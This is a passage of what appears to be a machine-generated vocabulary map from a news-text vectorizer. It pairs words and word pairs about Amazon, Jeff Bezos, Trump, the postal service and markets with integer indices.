217754, "help tackle": 217755, "second son": 217756, "web": 217757, "outspoken opponents": 217758, "sandringham generally": 217759, "dark tower": 217760, "ibm oracle": 217761, "waisted": 217762, "briefly crosses": 217763, "universal postal": 217764, "simply provides": 217765, "nuptial agreements": 217766, "223 000": 217767, "goods economists": 217768, "sanchez allegedly": 217769, "lima": 217770, "subtle monopoly": 217771, "necessarily doom": 217772, "citizenship": 217773, "lightrocket": 217774, "sanctions republican": 217775, "pbms": 217776, "captioned": 217777, "entertainment programming": 217778, "developing story": 217779, "cardcontents": 217780, "liberal justices": 217781, "history greatest": 217782, "wouldn reveal": 217783, "pinnacle": 217784, "johnson wants": 217785, "wing group": 217786, "anassistant": 217787, "new electric": 217788, "hatch argues": 217789, "embrace partnerships": 217790, "private space": 217791, "providing deductions": 217792, "criminalize": 217793, "surveil users": 217794, "vanessa herrero": 217795, "mexico headlines": 217796, "rate cuts": 217797, "pharmaceutical giants": 217798, "automated systems": 217799, "individualism begins": 217800, "conman just": 217801, "big kahuna": 217802, "galloway writes": 217803, "possible today": 217804, "canadian retail": 217805, "m8i": 217806, "bit closed": 217807, "modified viruses": 217808, "day did": 217809, "send message": 217810, "virtually": 217811, "long run": 217812, "pentagon jedi": 217813, "children bezos": 217814, "sen liz": 217815, "various parts": 217816, "stated previously": 217817, "mandated minimum": 217818, "help communities": 217819, "alert turn": 217820, "acn nyse": 217821, "duck races": 217822, "jaime": 217823, "reuters shannon": 217824, "sensible economics": 217825, "challenges mody": 217826, "surveillance network": 217827, "items representing": 217828, "tells congress": 217829, "targeting communities": 217830, "hitting amazon": 217831, "robbie": 217832, "offer high": 217833, "chase berkshire": 217834, "median income": 217835, "merchants inexpensively": 217836, "fedex closing": 217837, "problem repeatedly": 217838, "playstation nintendo": 217839, "recently just": 217840, "duncan hunter": 217841, "exceeding analysts": 217842, "sentence caught": 217843, "investor pessimism": 217844, "tag oppo": 217845, "executive told": 217846, "hunt": 217847, "given bezos": 217848, "tullier visa": 217849, "boy erased": 217850, "says easley": 217851, "length 29348": 217852, "euro mkts": 217853, "483 810": 217854, "sl\u00f8k added": 217855, "gotham": 217856, "garnered": 217857, "buys stories": 217858, "box doesn": 217859, "virgin galactic": 217860, "urgently needed": 217861, "body simple": 217862, "sins spreading": 217863, "ad paints": 217864, "rose apple": 217865, "adopt amazon": 217866, "communique": 217867, "billion 214": 217868, "political blackmail": 217869, "ad promotes": 217870, "admired employer": 217871, "activities including": 217872, "squarely": 217873, "margins improvement": 217874, "reads florida": 217875, "california private": 217876, "planetary carnage": 217877, "overdose using": 217878, "deeper problem": 217879, "overbuilt": 217880, "fing world": 217881, "pastry fundamentals": 217882, "adversarial relationship": 217883, "house likewise": 217884, "wnyc commitment": 217885, "store signage": 217886, "seller pillpack": 217887, "morrisey": 217888, "want fair": 217889, "attended meeting": 217890, "target price": 217891, "claimed amazon": 217892, "foods told": 217893, "wealthy political": 217894, "adults": 217895, "galloway new": 217896, "perils rooted": 217897, "sanders fired": 217898, "grocery budgets": 217899, "trump equates": 217900, "looks kind": 217901, "usa pageant": 217902, "heroism": 217903, "editor notes": 217904, "big company": 217905, "injecting poison": 217906, "nears victory": 217907, "new border": 217908, "design modifications": 217909, "man pocket": 217910, "t000002537": 217911, "ebay amazon": 217912, "killer free": 217913, "em fx": 217914, "suharto indonesia": 217915, "biggest boom": 217916, "hong kong": 217917, "political causes": 217918, "results weigh": 217919, "bartiromo yes": 217920, "lambasted": 217921, "disavowing": 217922, "republican backed": 217923, "creative methodologies": 217924, "economic fundamentals": 217925, "recently examined": 217926, "study consumers": 217927, "shipping rates": 217928, "rising love": 217929, "2019 bezos": 217930, "amazon disclaimer": 217931, "donna zamonski": 217932, "smash facebook": 217933, "debot": 217934, "amazon spokesman": 217935, "investigations morph": 217936, "diligence": 217937, "actually sell": 217938, "giant 2018": 217939, "js bezos": 217940, "closest allies": 217941, "process maintain": 217942, "wrangle excess": 217943, "nation 400": 217944, "action peter": 217945, "33m": 217946, "street named": 217947, "friedman": 217948, "owners rodriguez": 217949, "crew red": 217950, "department cited": 217951, "hiring competition": 217952, "2017 yang": 217953, "growth verticals": 217954, "741": 217955, "high street": 217956, "added signaling": 217957, "mayor jenny": 217958, "amazon massages": 217959, "obtained illegally": 217960, "amazon representatives": 217961, "8th annual": 217962, "similar idea": 217963, "additional barriers": 217964, "miljard": 217965, "department task": 217966, "deep discounts": 217967, "force commissioned": 217968, "having sole": 217969, "resources": 217970, "improvements unveiled": 217971, "malice": 217972, "tblack": 217973, "playing": 217974, "met ivana": 217975, "amrith": 217976, "taliban peace": 217977, "brands selling": 217978, "year poverty": 217979, "carpet presence": 217980, "radically hike": 217981, "trenchcoat": 217982, "officialsin": 217983, "wrongful": 217984, "interrupt": 217985, "people stop": 217986, "submitted": 217987, "blowout": 217988, "seritage charges": 217989, "ctrn": 217990, "lower keys": 217991, "economic studies": 217992, "evelyn nieves": 217993, "document fsu": 217994, "did walmart": 217995, "cornwall": 217996, "sforden bloomberg": 217997, "gulags": 217998, "leaked naked": 217999, "coltin jccoltin": 218000, "tensions escalate": 218001, "750 americans": 218002, "cronk president": 218003, "extends": 218004, "veterans start": 218005, "amazon finances": 218006, "news talking": 218007, "lid": 218008, "legislator": 218009, "provide infotainment": 218010, "claire kowalick": 218011, "nfl ratings": 218012, "rhetoric used": 218013, "twitter tax": 218014, "examine packages": 218015, "spacious": 218016, "antagonizes": 218017, "month supreme": 218018, "list sound": 218019, "expressed willingness": 218020, "cuomo celebrated": 218021, "working just": 218022, "counted slowly": 218023, "17802566 president": 218024, "body workers": 218025, "ip greg_ip": 218026, "pushed past": 218027, "drug smuggler": 218028, "niallstanage": 218029, "addclass video__end": 218030, "whenthey say": 218031, "european governments": 218032, "week according": 218033, "\u014263": 218034, "bezos reproduction": 218035, "betty branham": 218036, "president corporation": 218037, "stock overall": 218038, "mahaley": 218039, "racial origin": 218040, "government gigs": 218041, "ordering attorney": 218042, "osteen": 218043, "margin": 218044, "underwear wag": 218045, "cnn town": 218046, "heres president": 218047, "visited louisiana": 218048, "operates number": 218049, "farout music": 218050, "say seema": 218051, "staggering increase": 218052, "senate environment": 218053, "instillations": 218054, "mckenzie shaunmckenzie86": 218055, "decade native": 218056, "coffee taste": 218057, "blackburnmarsha blackburntrump": 218058, "decidedly takes": 218059, "positional data": 218060, "convictions": 218061, "kicker": 218062, "tm decision": 218063, "tonight day": 218064, "state supreme": 218065, "laughable": 218066, "members believe": 218067, "permit shoppers": 218068, "3614 bought": 218069, "passersby": 218070, "shows surging": 218071, "rising labor": 218072, "hardships": 218073, "2017 notably": 218074, "amazon center": 218075, "irritated": 218076, "cigarette smoke": 218077, "frills airline": 218078, "president animus": 218079, "criticises": 218080, "human conversation": 218081, "good way": 218082, "denver uber": 218083, "sales topping": 218084, "coming gdp": 218085, "lines trump": 218086, "possible outcome": 218087, "force led": 218088, "lower numbers": 218089, "racist immigration": 218090, "overseen": 218091, "2095956267355712": 218092, "united launch": 218093, "practices strongly": 218094, "union uranium": 218095, "best initiative": 218096, "morning claiming": 218097, "monogram": 218098, "kaola": 218099, "650 alt": 218100, "journal says": 218101, "losses schiff": 218102, "iqiyi": 218103, "association takes": 218104, "cid readmoretext_aut": 218105, "social app": 218106, "190 countries": 218107, "congress hit": 218108, "larcker": 218109, "feng": 218110, "users massive": 218111, "taunt": 218112, "actions according": 218113, "giant intimidates": 218114, "randal": 218115, "weta washington": 218116, "toronto follow": 218117, "16th birthday": 218118, "ftc actually": 218119, "press trump": 218120, "release records": 218121, "photo review": 218122, "alibaba created": 218123, "delivered fewer": 218124, "sietsema eater": 218125, "enlarged": 218126, "deal carell": 218127, "bread": 218128, "sp": 218129, "2018 patents": 218130, "abuse power": 218131, "economic superpowers": 218132, "handcrafted": 218133, "clima": 218134, "waking": 218135, "billion bid": 218136, "suppressing diversity": 218137, "ami deputy": 218138, "price cuts": 218139, "mcnew cuts": 218140, "taps aws": 218141, "services programs": 218142, "bizarrely": 218143, "tariff plans": 218144, "founder sam": 218145, "times letters": 218146, "amazon travel": 218147, "shannon reed": 218148, "potential near": 218149, "story shameful": 218150, "grinning": 218151, "giuliani admitted": 218152, "term volatility": 218153, "actual amazon": 218154, "peek yes": 218155, "public disclosure": 218156, "bear wants": 218157, "philipps": 218158, "indirect benefits": 218159, "nonbinary": 218160, "wished": 218161, "prime ecosystem": 218162, "covert": 218163, "adi robertson": 218164, "low contrast": 218165, "industry began": 218166, "land conflict": 218167, "lousy pay": 218168, "years inventing": 218169, "whor helped": 218170, "remediation antitrust": 218171, "low tax": 218172, "starbucks coca": 218173, "taking tour": 218174, "prove troublesome": 218175, "directed usps": 218176, "edelman": 218177, "open market": 218178, "principled position": 218179, "ventured inside": 218180, "true leadership": 218181, "think feel": 218182, "country mcmillon": 218183, "strapped usps": 218184, "q1 card": 218185, "orleans issued": 218186, "president office": 218187, "spousal": 218188, "central line": 218189, "year flu": 218190, "crazies": 218191, "choosing judge": 218192, "nasdaq intc": 218193, "epic provisions": 218194, "giant working": 218195, "man bully": 218196, "mulholland books": 218197, "sandos5": 218198, "multiples": 218199, "sure feel": 218200, "generals london": 218201, "public taxpayer": 218202, "took actions": 218203, "caveats functionally": 218204, "president ig": 218205, "code book": 218206, "saddened": 218207, "m0 __proto__": 218208, "chaotic environment": 218209, "impeaching trump": 218210, "profitable ars": 218211, "cell booster": 218212, "000 titles": 218213, "online treasury": 218214, "clearly won": 218215, "bucket listthe": 218216, "handle fine": 218217, "possible price": 218218, "war commentary": 218219, "road development": 218220, "gentle tremor": 218221, "business meeting": 218222, "results hold": 218223, "additionally": 218224, "chain cyber": 218225, "ideo tim": 218226, "confidant roger": 218227, "allegedly having": 218228, "promote season": 218229, "indigenous languages": 218230, "marketwatch economic": 218231, "prime programme": 218232, "shoppers skip": 218233, "reuters breakingviews": 218234, "customized inside": 218235, "rates start": 218236, "grow stronger": 218237, "foreign officials": 218238, "enquirer investigating": 218239, "cases drag": 218240, "couldn work": 218241, "nyc weighs": 218242, "amazon stayed": 218243, "large landowners": 218244, "used dubious": 218245, "upset win": 218246, "healthcare direct": 218247, "skimpy insurance": 218248, "democratically": 218249, "news fake": 218250, "cohen convicted": 218251, "paperback editions": 218252, "insiders immediately": 218253, "oscar mayer": 218254, "scheduled usps": 218255, "picks best": 218256, "fulfilment": 218257, "caesar wife": 218258, "billionaire text": 218259, "sourcing": 218260, "thing faster": 218261, "looking glass": 218262, "believe losing": 218263, "872 0001": 218264, "visited number": 218265, "huge successes": 218266, "perv": 218267, "ministers": 218268, "230 million": 218269, "shades": 218270, "solid results": 218271, "picture overvalued": 218272, "border google": 218273, "following hearings": 218274, "weeks making": 218275, "probably don": 218276, "bezos acknowledges": 218277, "1043et": 218278, "highlighted warren": 218279, "cryptocurrency exec": 218280, "doom amazon": 218281, "seismic": 218282, "year outlook": 218283, "amazon concerns": 218284, "ggg historic": 218285, "chain pret": 218286, "delivery volume": 218287, "mounting losses": 218288, "desires looking": 218289, "trumps threat": 218290, "claims half": 218291, "walmart investments": 218292, "hunting lobby": 218293, "large peter": 218294, "nutter witch": 218295, "later reread": 218296, "cnnmoney seattle": 218297, "socialists": 218298, "sonia perez": 218299, "criminal activities": 218300, "infowars twitter": 218301, "traps": 218302, "aide met": 218303, "exclusively saying": 218304, "activists flanked": 218305, "glucosinolate": 218306, "sizable majority": 218307, "seth macfarlane": 218308, "ryan writes": 218309, "value tech": 218310, "arsenal drew": 218311, "apec": 218312, "critics believe": 218313, "bezos interactions": 218314, "science professor": 218315, "oilpatch": 218316, "talks proceed": 218317, "price plus": 218318, "us137 billion": 218319, "life ohio": 218320, "shree": 218321, "growth bloomberg": 218322, "vendor shop": 218323, "text abramson": 218324, "picture actually": 218325, "t000138309": 218326, "joshua green": 218327, "alexa current": 218328, "impactful": 218329, "bichelmeyer": 218330, "rebuttal": 218331, "session post": 218332, "opposing": 218333, "implemented steel": 218334, "customers eyes": 218335, "complaining publicly": 218336, "2018 snap": 218337, "1195 bought": 218338, "democrat govpredict": 218339, "arm chips": 218340, "distribution tentacles": 218341, "woody allen": 218342, "trump bush": 218343, "took credit": 218344, "illegality": 218345, "trump attacked": 218346, "mocking amazon": 218347, "2017 saul": 218348, "customers prompting": 218349, "veterans credits": 218350, "scrutiny generation": 218351, "clips": 218352, "rising rents": 218353, "forthcoming white": 218354, "domestic mail": 218355, "cnnnext": 218356, "timodc": 218357, "gear amazon": 218358, "vale": 218359, "mcintyre": 218360, "hold capitol": 218361, "1620et": 218362, "ai a4ee": 218363, "hargrove russell": 218364, "law change": 218365, "followup abbi": 218366, "cortez amazon": 218367, "causes netflix": 218368, "rivalry": 218369, "successful modern": 218370, "alongside jack": 218371, "ranked higher": 218372, "established task": 218373, "story fact": 218374, "status 980063581592047617": 218375, "real video": 218376, "offered loans": 218377, "unclear identity": 218378, "consistently underbid": 218379, "amazon dumped": 218380, "privatization clearly": 218381, "500 higher": 218382, "reuters irish": 218383, "hro gala": 218384, "empowered": 218385, "radio new": 218386, "supportive statements": 218387, "major competitors": 218388, "custom alt": 218389, "traumatic stress": 218390, "alexa virtual": 218391, "favourite yorgos": 218392, "policy charter": 218393, "best sellers": 218394, "economic empowerment": 218395, "china resume": 218396, "s0 ba": 218397, "tracks updates": 218398, "mobile ecosystem": 218399, "coveted": 218400, "changes trump": 218401, "finds": 218402, "ahead welcome": 218403, "random house": 218404, "china premier": 218405, "wgn america": 218406, "value topped": 218407, "mighty google": 218408, "house says": 218409, "newsweek reports": 218410, "petco bans": 218411, "undeniably unpopular": 218412, "deplorable work": 218413, "led commerce": 218414, "spike fed": 218415, "titled apple": 218416, "menacing concentration": 218417, "senate told": 218418, "markey office": 218419, "packages won": 218420, "nectarines": 218421, "help noticing": 218422, "spends upwards": 218423, "bad justifying": 218424, "mccabe looks": 218425, "dark topics": 218426, "new influence": 218427, "stand divided": 218428, "allegedly returned": 218429, "union petition": 218430, "kurtz book": 218431, "locate amazon": 218432, "reviewed": 218433, "economical package": 218434, "animal called": 218435, "refers": 218436, "legitimacy": 218437, "haves": 218438, "outfit mont": 218439, "component cantillon": 218440, "administration argues": 218441, "defensive sector": 218442, "jobs panelists": 218443, "program trump": 218444, "critical role": 218445, "bay calif": 218446, "pleebles": 218447, "taxes states": 218448, "today karl": 218449, "regarding russian": 218450, "virgil stevens": 218451, "allow dominion": 218452, "nasdaq 575": 218453, "keatonesque stoicism": 218454, "stolen": 218455, "solid overall": 218456, "trump bombastic": 218457, "grief": 218458, "online orders": 218459, "claims fall": 218460, "theories brainwashed": 218461, "hotel huffpo": 218462, "news reporter": 218463, "unconventional police": 218464, "2018 struck": 218465, "injury families": 218466, "alleged blackmail": 218467, "actually eat": 218468, "stimulate retail": 218469, "homelessness affordable": 218470, "sally donnelly": 218471, "lyft crackdown": 218472, "restore": 218473, "manager unloaded": 218474, "amazon monopolistic": 218475, "outside forces": 218476, "specifically discussed": 218477, "outfit": 218478, "isn constructed": 218479, "portfolio atalanta": 218480, "say benjy": 218481, "dominating": 218482, "amazon search": 218483, "targeted drone": 218484, "riverdale": 218485, "spheres amazon": 218486, "amazon asked": 218487, "sought study": 218488, "holiday salesbut": 218489, "service slipping": 218490, "nyt lisa": 218491, "chef thomas": 218492, "parent significant": 218493, "connie": 218494, "candidate alexandria": 218495, "mentioned": 218496, "reuters archive": 218497, "righteousness": 218498, "ross gerber": 218499, "somee": 218500, "newspaper told": 218501, "possibly stemmed": 218502, "newsletter prior": 218503, "brought people": 218504, "russiainvestigation": 218505, "perrine": 218506, "drywall": 218507, "big disappointment": 218508, "schiff adam": 218509, "rep ro": 218510, "preferred sto": 218511, "latest outburst": 218512, "transgender solidarity": 218513, "probably china": 218514, "excessive": 218515, "expressing admiration": 218516, "invasive privacy": 218517, "emanuel run": 218518, "closes amazon": 218519, "committee told": 218520, "shouting match": 218521, "chapter": 218522, "piece martinez": 218523, "past tragedies": 218524, "took shot": 218525, "people 2018": 218526, "york remain": 218527, "lewis spokesman": 218528, "block president": 218529, "recovery game": 218530, "cnl_filelocation lead": 218531, "vote bergh": 218532, "jumbo jets": 218533, "safeguard america": 218534, "globes8": 218535, "intelligence james": 218536, "grey books": 218537, "globalist bezos": 218538, "trump radio": 218539, "nasdaq fairing": 218540, "shoppers desires": 218541, "dent think": 218542, "versus 2018": 218543, "walmart remains": 218544, "pilot local": 218545, "increased upward": 218546, "core pce": 218547, "delivery cohn": 218548, "state politicians": 218549, "held dem": 218550, "postings board": 218551, "express shares": 218552, "king county": 218553, "ride bonuses": 218554, "handful": 218555, "falls short": 218556, "customer information": 218557, "lock horns": 218558, "old black": 218559, "lauren": 218560, "apple blew": 218561, "nafta trump": 218562, "topics discussed": 218563, "gas emissions": 218564, "comment walmart": 218565, "duties include": 218566, "employees reportedly": 218567, "commuter": 218568, "2018 adding": 218569, "uncut": 218570, "strong advocate": 218571, "holiday european": 218572, "comment section": 218573, "set snow": 218574, "convention team": 218575, "economictimes indiatimes": 218576, "file picture": 218577, "jens david": 218578, "722 shares": 218579, "senators fox": 218580, "outsized market": 218581, "including united": 218582, "peccadillo": 218583, "tandy": 218584, "bond author": 218585, "survival act": 218586, "definite liberal": 218587, "network ceo": 218588, "luck wish": 218589, "retirement security": 218590, "2007 saul": 218591, "su china": 218592, "shipping surtax": 218593, "bloodworth worked": 218594, "google comparison": 218595, "caller podcast": 218596, "amd": 218597, "reagan set": 218598, "follow amber": 218599, "mayor bad": 218600, "reporting opinion": 218601, "company outlook": 218602, "credit nbc": 218603, "house floor": 218604, "malmquist lead": 218605, "comedy drama": 218606, "real profit": 218607, "place students": 218608, "monitor worldwide": 218609, "governorcuomo": 218610, "spark inflation": 218611, "nafta partners": 218612, "amazon children": 218613, "amplified republican": 218614, "repurposed": 218615, "fibreglass mounted": 218616, "recent book": 218617, "paradise california": 218618, "night sales": 218619, "commercials cheddar": 218620, "strip dimmed": 218621, "scott applewhite": 218622, "having split": 218623, "quit prim": 218624, "begun ray": 218625, "jerry nadler": 218626, "men inc_code_only_text": 218627, "fierce protectors": 218628, "autumn wsj": 218629, "starts running": 218630, "amazon fluke": 218631, "amazon hover": 218632, "product codes": 218633, "need growth": 218634, "market charlie": 218635, "ride boston": 218636, "50th birthday": 218637, "television spectacle": 218638, "advisor chris": 218639, "fundamentals formulas": 218640, "divinity": 218641, "grinnell": 218642, "amazons": 218643, "wears": 218644, "deportations": 218645, "multiple election": 218646, "country biggest": 218647, "combining": 218648, "demand change": 218649, "alexandria": 218650, "ratcheting screwdriver": 218651, "prominent opponent": 218652, "cheerleader": 218653, "hotel business": 218654, "antipoverty": 218655, "voters read": 218656, "challenge incumbent": 218657, "provide grants": 218658, "blaise": 218659, "deals buzz60": 218660, "independent investigations": 218661, "fellow new": 218662, "quartz index": 218663, "operations lot": 218664, "rare public": 218665, "slave burial": 218666, "amazon personally": 218667, "don operate": 218668, "rubric": 218669, "capitalism 2019": 218670, "contracting donnelly": 218671, "charlotte city": 218672, "contributing columnist": 218673, "trump marks": 218674, "illegal immigrants": 218675, "economic value": 218676, "watchdog lightly": 218677, "jinping overseas": 218678, "eric eric": 218679, "economy entertainment": 218680, "eagan": 218681, "include manufacturing": 218682, "sue desmond": 218683, "sanders repeatedly": 218684, "justification": 218685, "deficiencies instead": 218686, "money printing": 218687, "brings prosperity": 218688, "fault solely": 218689, "pay personal": 218690, "2fpolitics": 218691, "routinely violates": 218692, "putting thousands": 218693, "upfront cost": 218694, "america growing": 218695, "select just": 218696, "rejected president": 218697, "market seriously": 218698, "glencore": 218699, "small vendor": 218700, "smith confirmed": 218701, "voter registration": 218702, "100 miles": 218703, "democratic administrations": 218704, "new legislation": 218705, "bank stated": 218706, "fortune despite": 218707, "enjoy swift": 218708, "burns matt": 218709, "nicotine vape": 218710, "amazon clean": 218711, "government efforts": 218712, "jedi does": 218713, "complexity": 218714, "comprehensive year": 218715, "worry john": 218716, "tough": 218717, "cnn anchor": 218718, "proudly declared": 218719, "netflix nasdaq": 218720, "amazon underappreciated": 218721, "million addresses": 218722, "alex salkever": 218723, "function cb": 218724, "cavs": 218725, "pay investors": 218726, "true promoimage": 218727, "laurel johnson": 218728, "massachusetts senator": 218729, "country forest": 218730, "bills donald": 218731, "government post": 218732, "massachusetts town": 218733, "deeply flawed": 218734, "billion eclipsing": 218735, "bezoes": 218736, "jack exas": 218737, "suspicious members": 218738, "money4 pictures": 218739, "runs company": 218740, "talks body": 218741, "gonzalez charged": 218742, "steers": 218743, "morning investigators": 218744, "wealth making": 218745, "profit eventually": 218746, "somebody politically": 218747, "market destroyed": 218748, "congressman ryan": 218749, "retailer analysts": 218750, "000 truck": 218751, "optional chess": 218752, "productivity repubs": 218753, "enthusiastically": 218754, "enormous impact": 218755, "deaf doesn": 218756, "companies artificially": 218757, "behalf": 218758, "cheap gas": 218759, "curation habits": 218760, "bezos trolling": 218761, "image 1230x1672": 218762, "popular readers": 218763, "515 foreign": 218764, "complete guide": 218765, "tax deductible": 218766, "usatodaysports fightbookmma": 218767, "control4": 218768, "barr minutes": 218769, "transformations": 218770, "white box": 218771, "sources note": 218772, "investments mark": 218773, "policing business": 218774, "rival health": 218775, "reportedly proposed": 218776, "stores": 218777, "fueled rise": 218778, "preschool education": 218779, "daredevil": 218780, "2017 trump": 218781, "pregnant wife": 218782, "morning dow": 218783, "claims gou": 218784, "verlagingen": 218785, "better cover": 218786, "2023": 218787, "street revenue": 218788, "virtual monopoly": 218789, "rbc capital": 218790, "secret spy": 218791, "faced significant": 218792, "b6": 218793, "notable books": 218794, "courtland martens": 218795, "conservative leaning": 218796, "new heroes": 218797, "latest white": 218798, "alona": 218799, "average home": 218800, "drafting plan": 218801, "time honored": 218802, "business don": 218803, "poor received": 218804, "event hosted": 218805, "program gives": 218806, "truck pull": 218807, "taxes high": 218808, "expenses modest": 218809, "deducting": 218810, "bozo bezos": 218811, "shopping season": 218812, "smoke": 218813, "story china": 218814, "51554478900": 218815, "rekindling intimacy": 218816, "mandymh82": 218817, "explicit selfies": 218818, "department federal": 218819, "managing techniques": 218820, "angel felix": 218821, "case involving": 218822, "credibilityissues": 218823, "governments decision": 218824, "distribution contract": 218825, "snowden disclosures": 218826, "computer buy": 218827, "rech": 218828, "elevated position": 218829, "amazon withdrew": 218830, "values republicans": 218831, "trending joy": 218832, "fortune reports": 218833, "right man": 218834, "jacknicas": 218835, "weeks penguin": 218836, "cmpid socialflow": 218837, "writ small": 218838, "years unfortunately": 218839, "turbines": 218840, "donations \u014277": 218841, "open hearing": 218842, "woodwar": 218843, "spend online": 218844, "npi": 218845, "did comedian": 218846, "cities amazon": 218847, "profits chief": 218848, "resigned amid": 218849, "sells ivanka": 218850, "uber ipo": 218851, "won raise": 218852, "ban bezos": 218853, "identify path": 218854, "rescuing": 218855, "jungle": 218856, "jones futures": 218857, "dangerous working": 218858, "allegedly uncovered": 218859, "appropriations committees": 218860, "opportunity doesn": 218861, "individual candidates": 218862, "don really": 218863, "sound patently": 218864, "pact signed": 218865, "fearstrump attacks": 218866, "leaked photos": 218867, "makes socialism": 218868, "association vta": 218869, "following sears": 218870, "tirade": 218871, "country coalition": 218872, "office saw": 218873, "pursuing story": 218874, "management corporation": 218875, "nova southeastern": 218876, "described trump": 218877, "handling": 218878, "facts lead": 218879, "minister leo": 218880, "unnamed sources": 218881, "fundingbill": 218882, "run option": 218883, "barre": 218884, "teens collide": 218885, "lived progressive": 218886, "business leader": 218887, "disquisitions range": 218888, "nvidia website": 218889, "england photo": 218890, "beast citing": 218891, "line yes": 218892, "following defendant": 218893, "video_headline": 218894, "year tax": 218895, "investor john": 218896, "sparta": 218897, "paint amazon": 218898, "moreira": 218899, "gilgun": 218900, "munchable": 218901, "rech incorporated": 218902, "litigation cost": 218903, "business single": 218904, "special police": 218905, "committed infractions": 218906, "boca": 218907, "wholesalers seeking": 218908, "lovers ensued": 218909, "tal ben": 218910, "mclellan jeremymclellan": 218911, "renovated home": 218912, "professor fisman": 218913, "global spending": 218914, "representatives members": 218915, "newly announced": 218916, "strzok": 218917, "fueling added": 218918, "willimon house": 218919, "detect faces": 218920, "ariel leve": 218921, "criticized coverage": 218922, "index html": 218923, "launch 1007": 218924, "america agenda": 218925, "included screenshot": 218926, "medicaid think": 218927, "electrician": 218928, "director edgar": 218929, "materials needed": 218930, "wing populism": 218931, "499": 218932, "isn rich": 218933, "file glen": 218934, "prices gary": 218935, "loathe cronyism": 218936, "hans": 218937, "grossly irresponsible": 218938, "say iphone": 218939, "environmental bodies": 218940, "nasdaq fb": 218941, "york struggling": 218942, "imagealt snl": 218943, "street 2019": 218944, "career worker": 218945, "aspirin": 218946, "lucrecia": 218947, "registry": 218948, "damned blackmail": 218949, "listed trading": 218950, "nixon watergate": 218951, "standout needless": 218952, "hill susan": 218953, "hq2 campus": 218954, "imagine online": 218955, "current median": 218956, "founder peter": 218957, "mayjeong jeong": 218958, "isn notorious": 218959, "country finances": 218960, "director stephanie": 218961, "nyt story": 218962, "essay short": 218963, "gun laws": 218964, "bottoms continues": 218965, "swilling vampire": 218966, "professional journalism": 218967, "mailer": 218968, "sliver": 218969, "campuses": 218970, "savery hall": 218971, "sxsw": 218972, "publishers ny": 218973, "arkells": 218974, "school graduation": 218975, "title isn": 218976, "products whatsoever": 218977, "dollars profit": 218978, "layoff employees": 218979, "tablet jquery": 218980, "359 bought": 218981, "rachel hollis": 218982, "nvidia corp": 218983, "offer little": 218984, "glorious chart": 218985, "moving pr": 218986, "cohen landed": 218987, "edward smith": 218988, "attention right": 218989, "prize ridiculous": 218990, "doesn address": 218991, "ruggedized storage": 218992, "kalanick kalanick": 218993, "does bull": 218994, "immaturian": 218995, "backbone ought": 218996, "crazy challenges": 218997, "mike satz": 218998, "affiliation tells": 218999, "night talking": 219000, "positions sanders": 219001, "pitched tech": 219002, "times giant": 219003, "talk facebook": 219004, "quadrant": 219005, "sell qanon": 219006, "involve issuing": 219007, "elite": 219008, "studios says": 219009, "data security": 219010, "lines ahead": 219011, "madcap cnbc": 219012, "counterfeiting efforts": 219013, "standoff": 219014, "life today": 219015, "competition particularly": 219016, "monarch staring": 219017, "religious differences": 219018, "gross overstatements": 219019, "really matters": 219020, "mocks": 219021, "1150x540 uploaded_files": 219022, "pryoesshex": 219023, "unhelpful": 219024, "initiatives interesting": 219025, "politics previously": 219026, "legal investigations": 219027, "cnns acosta": 219028, "eponymous tv": 219029, "check bag": 219030, "whiplash": 219031, "foreign trip": 219032, "triggering fall": 219033, "better police": 219034, "deputies returned": 219035, "ho jeff": 219036, "presents instead": 219037, "toy looks": 219038, "brendan rose": 219039, "deray": 219040, "reexamine": 219041, "northern blvd": 219042, "k7bceiovv9": 219043, "perry oracle": 219044, "michael woff": 219045, "kate": 219046, "horrible shoplocal": 219047, "workers refugee": 219048, "stoked": 219049, "hoover": 219050, "george believed": 219051, "asked ebay": 219052, "thomson": 219053, "descriptionplaintext elon": 219054, "hestartedit": 219055, "senator": 219056, "message page": 219057, "players brightcove": 219058, "letitia": 219059, "eric ripert": 219060, "local retailers": 219061, "hydro flask": 219062, "mersey": 219063, "unwrapped": 219064, "goodness": 219065, "snipes": 219066, "maria haven": 219067, "controversial items": 219068, "night qanon": 219069, "reclaim specific": 219070, "gamble": 219071, "tax disclosure": 219072, "including hermes": 219073, "journalism produced": 219074, "dislikes richer": 219075, "claims vaccine": 219076, "conspiracy involving": 219077, "workers received": 219078, "archetypes": 219079, "records paves": 219080, "wryness lightness": 219081, "various sinclair": 219082, "additional legislation": 219083, "follow william": 219084, "harsh words": 219085, "big announcement": 219086, "investigator": 219087, "delayed reuters": 219088, "white nationalist": 219089, "justin fairfax": 219090, "including damara": 219091, "geek": 219092, "forms online_services": 219093, "andy breckman": 219094, "paradigm resulted": 219095, "missing context": 219096, "complaints donald": 219097, "humor daily": 219098, "blume": 219099, "trump obama": 219100, "martha wagner": 219101, "film claiming": 219102, "sprint": 219103, "93f": 219104, "greater involvement": 219105, "shaking investors": 219106, "weddings ross": 219107, "financial arrangements": 219108, "motors did": 219109, "fines compelled": 219110, "alleged discrimination": 219111, "similar characters": 219112, "mean developing": 219113, "busiest day": 219114, "great keziah": 219115, "markets limited": 219116, "does pay": 219117, "plus live": 219118, "foundation aid": 219119, "harassing": 219120, "uk tax": 219121, "seasonal employees": 219122, "enquirer previously": 219123, "path trump": 219124, "border illegally": 219125, "people substantially": 219126, "envelope": 219127, "musk claiming": 219128, "key service": 219129, "magazine real": 219130, "hollen": 219131, "press related": 219132, "true diversity": 219133, "appraiser": 219134, "entertainment writer": 219135, "change content": 219136, "son": 219137, "rainforests": 219138, "senate does": 219139, "tyhee hickman": 219140, "cold open": 219141, "copyright cbs": 219142, "response houston": 219143, "brokered meeting": 219144, "saw impressive": 219145, "brian daly": 219146, "dry season": 219147, "nasdaq qcom": 219148, "bose editing": 219149, "false bannerposition": 219150, "animals trees": 219151, "hateful nasty": 219152, "things disney": 219153, "uh": 219154, "workflows": 219155, "heller school": 219156, "resisted": 219157, "real businesses": 219158, "costumes royal": 219159, "project especially": 219160, "unconstitutional egypt": 219161, "large stream": 219162, "pratt captioned": 219163, "trump inflated": 219164, "multiple letters": 219165, "trump stone": 219166, "state prohibit": 219167, "trump favorite": 219168, "90s hit": 219169, "reflect bigger": 219170, "media president": 219171, "punches": 219172, "complex portrait": 219173, "woman months": 219174, "deal michelle": 219175, "individual entrepreneurs": 219176, "sc trump": 219177, "appointing postal": 219178, "trash": 219179, "fbi arrests": 219180, "bearing resemblance": 219181, "dutch sandwich": 219182, "beverage industry": 219183, "wants people": 219184, "currently hold": 219185, "billings": 219186, "affordable housing": 219187, "prep school": 219188, "recently completed": 219189, "overwhelming gop": 219190, "bezos taking": 219191, "affordable 